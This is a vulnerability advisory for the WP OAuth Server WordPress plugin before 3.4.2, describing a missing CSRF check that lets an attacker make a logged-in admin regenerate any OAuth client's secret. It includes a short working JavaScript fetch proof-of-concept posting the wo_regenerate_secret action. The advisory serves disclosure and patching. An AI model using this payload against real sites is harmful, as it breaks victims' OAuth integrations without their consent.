WordPress Plugin Vulnerabilities

WP OAuth Server < 3.4.2 - Client Secret Regeneration via CSRF

Description

The plugin does not have CSRF check when regenerating secrets, which could allow attackers to make logged in admins regenerate the secret of an arbitrary client given they know the client ID

Proof of Concept

Make a logged in admin open a page containing the HTML code below. This will regenerate the secret for the client with ID KCzvPgkQndGfbFy34jfwoxKVCp1VzFhgSZ3PywN7

fetch('https://example.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wo_regenerate_secret&data=KCzvPgkQndGfbFy34jfwoxKVCp1VzFhgSZ3PywN7',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Affects Plugins

Fixed in 3.4.2

References

Classification

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-11-10 (about 1 years ago)
Added
2022-11-10 (about 1 years ago)
Last Updated
2023-03-27 (about 1 years ago)

Other